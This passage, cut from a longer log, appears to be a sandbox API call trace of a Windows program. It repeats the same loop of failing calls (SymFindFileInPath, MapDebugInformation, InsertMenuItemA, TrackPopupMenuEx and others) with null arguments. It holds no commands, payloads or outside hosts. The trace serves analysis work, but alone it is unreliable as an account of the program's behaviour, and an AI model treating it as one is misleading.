returned 0 [0185.199] GetLastError () returned 0x579 [0185.199] SetLastError (dwErrCode=0x579) [0185.199] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.199] SymCleanup (hProcess=0x0) returned 0 [0185.199] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.199] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.199] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.199] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.199] GetLastError () returned 0x579 [0185.199] SetLastError (dwErrCode=0x579) [0185.199] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.199] SymCleanup (hProcess=0x0) returned 0 [0185.199] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.199] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.199] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.199] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.199] GetLastError () returned 0x579 [0185.199] SetLastError (dwErrCode=0x579) [0185.200] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.200] SymCleanup (hProcess=0x0) returned 0 [0185.200] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.200] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.200] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.200] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=52, param_4=896, param_5=0x0, param_6=0x0) returned 0 [0185.200] GetLastError () returned 0x579 [0185.200] SetLastError (dwErrCode=0x579) [0185.200] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.200] SymCleanup (hProcess=0x0) returned 0 [0185.200] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.200] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.200] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.200] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.200] GetLastError () returned 0x579 [0185.200] SetLastError (dwErrCode=0x579) [0185.200] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.200] SymCleanup (hProcess=0x0) returned 0 [0185.200] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.200] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.200] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.200] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.200] GetLastError () returned 0x579 [0185.200] SetLastError (dwErrCode=0x579) [0185.200] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.201] SymCleanup (hProcess=0x0) returned 0 [0185.201] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.201] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.201] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.201] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.201] GetLastError () returned 0x579 [0185.201] SetLastError (dwErrCode=0x579) [0185.201] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.201] SymCleanup (hProcess=0x0) returned 0 [0185.201] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.201] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.201] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.201] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.201] GetLastError () returned 0x579 [0185.201] SetLastError (dwErrCode=0x579) [0185.201] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.201] SymCleanup (hProcess=0x0) returned 0 [0185.201] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.201] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.201] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.201] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1275, param_4=836, param_5=0x0, param_6=0x0) returned 0 [0185.201] GetLastError () returned 0x579 [0185.201] SetLastError (dwErrCode=0x579) [0185.201] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.201] SymCleanup (hProcess=0x0) returned 0 [0185.202] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.202] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.202] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.202] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.202] GetLastError () returned 0x579 [0185.202] SetLastError (dwErrCode=0x579) [0185.202] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.202] SymCleanup (hProcess=0x0) returned 0 [0185.202] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.202] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.202] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.202] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.202] GetLastError () returned 0x579 [0185.202] SetLastError (dwErrCode=0x579) [0185.202] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.202] SymCleanup (hProcess=0x0) returned 0 [0185.202] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.202] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.202] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.202] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.202] GetLastError () returned 0x579 [0185.202] SetLastError (dwErrCode=0x579) [0185.202] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.202] SymCleanup (hProcess=0x0) returned 0 [0185.202] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.203] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.203] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.203] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.203] GetLastError () returned 0x579 [0185.203] SetLastError (dwErrCode=0x579) [0185.203] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.203] SymCleanup (hProcess=0x0) returned 0 [0185.203] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.203] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.203] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.203] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1124, param_4=818, param_5=0x0, param_6=0x0) returned 0 [0185.203] GetLastError () returned 0x579 [0185.203] SetLastError (dwErrCode=0x579) [0185.203] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.203] SymCleanup (hProcess=0x0) returned 0 [0185.203] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.203] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.203] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.203] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.203] GetLastError () returned 0x579 [0185.203] SetLastError (dwErrCode=0x579) [0185.203] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.203] SymCleanup (hProcess=0x0) returned 0 [0185.203] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.203] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.204] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.204] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.204] GetLastError () returned 0x579 [0185.204] SetLastError (dwErrCode=0x579) [0185.204] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.204] SymCleanup (hProcess=0x0) returned 0 [0185.204] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.204] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.204] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.204] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.204] GetLastError () returned 0x579 [0185.204] SetLastError (dwErrCode=0x579) [0185.204] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.204] SymCleanup (hProcess=0x0) returned 0 [0185.204] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.204] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.204] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.204] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.204] GetLastError () returned 0x579 [0185.204] SetLastError (dwErrCode=0x579) [0185.204] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.204] SymCleanup (hProcess=0x0) returned 0 [0185.204] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.204] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.204] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.205] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=264, param_5=0x0, param_6=0x0) returned 0 [0185.205] GetLastError () returned 0x579 [0185.205] SetLastError (dwErrCode=0x579) [0185.205] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.205] SymCleanup (hProcess=0x0) returned 0 [0185.205] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.205] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.205] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.205] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.205] GetLastError () returned 0x579 [0185.205] SetLastError (dwErrCode=0x579) [0185.205] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.205] SymCleanup (hProcess=0x0) returned 0 [0185.205] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.205] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.205] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.205] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.205] GetLastError () returned 0x579 [0185.205] SetLastError (dwErrCode=0x579) [0185.205] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.205] SymCleanup (hProcess=0x0) returned 0 [0185.205] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.205] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.205] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.206] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.206] GetLastError () returned 0x579 [0185.206] SetLastError (dwErrCode=0x579) [0185.206] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.206] SymCleanup (hProcess=0x0) returned 0 [0185.206] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.206] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.206] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.206] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.206] GetLastError () returned 0x579 [0185.206] SetLastError (dwErrCode=0x579) [0185.206] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.206] SymCleanup (hProcess=0x0) returned 0 [0185.206] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.206] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.206] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.206] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=340, param_4=15, param_5=0x0, param_6=0x0) returned 0 [0185.206] GetLastError () returned 0x579 [0185.206] SetLastError (dwErrCode=0x579) [0185.206] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.206] SymCleanup (hProcess=0x0) returned 0 [0185.206] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.206] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.206] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.206] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.207] GetLastError () returned 0x579 [0185.207] SetLastError (dwErrCode=0x579) [0185.207] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.207] SymCleanup (hProcess=0x0) returned 0 [0185.207] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.207] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.207] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.207] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.207] GetLastError () returned 0x579 [0185.207] SetLastError (dwErrCode=0x579) [0185.207] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.207] SymCleanup (hProcess=0x0) returned 0 [0185.207] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.207] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.207] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.207] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.207] GetLastError () returned 0x579 [0185.207] SetLastError (dwErrCode=0x579) [0185.207] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.207] SymCleanup (hProcess=0x0) returned 0 [0185.208] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.208] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.208] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.208] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.208] GetLastError () returned 0x579 [0185.208] SetLastError (dwErrCode=0x579) [0185.208] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.208] SymCleanup (hProcess=0x0) returned 0 [0185.208] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.208] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.208] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.208] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1205, param_4=277, param_5=0x0, param_6=0x0) returned 0 [0185.208] GetLastError () returned 0x579 [0185.208] SetLastError (dwErrCode=0x579) [0185.208] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.208] SymCleanup (hProcess=0x0) returned 0 [0185.208] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.208] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.209] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.209] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.209] GetLastError () returned 0x579 [0185.209] SetLastError (dwErrCode=0x579) [0185.209] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.209] SymCleanup (hProcess=0x0) returned 0 [0185.209] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.209] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.209] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.209] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.209] GetLastError () returned 0x579 [0185.209] SetLastError (dwErrCode=0x579) [0185.209] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.209] SymCleanup (hProcess=0x0) returned 0 [0185.209] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.209] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.209] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.209] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.209] GetLastError () returned 0x579 [0185.209] SetLastError (dwErrCode=0x579) [0185.209] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.209] SymCleanup (hProcess=0x0) returned 0 [0185.209] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.209] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.209] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.210] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.210] GetLastError () returned 0x579 [0185.210] SetLastError (dwErrCode=0x579) [0185.210] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.210] SymCleanup (hProcess=0x0) returned 0 [0185.210] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.210] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.210] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.210] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=301, param_4=40, param_5=0x0, param_6=0x0) returned 0 [0185.210] GetLastError () returned 0x579 [0185.210] SetLastError (dwErrCode=0x579) [0185.210] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.210] SymCleanup (hProcess=0x0) returned 0 [0185.210] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.210] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.210] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.210] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.210] GetLastError () returned 0x579 [0185.210] SetLastError (dwErrCode=0x579) [0185.210] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.210] SymCleanup (hProcess=0x0) returned 0 [0185.210] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.210] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.210] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.211] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.211] GetLastError () returned 0x579 [0185.211] SetLastError (dwErrCode=0x579) [0185.211] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 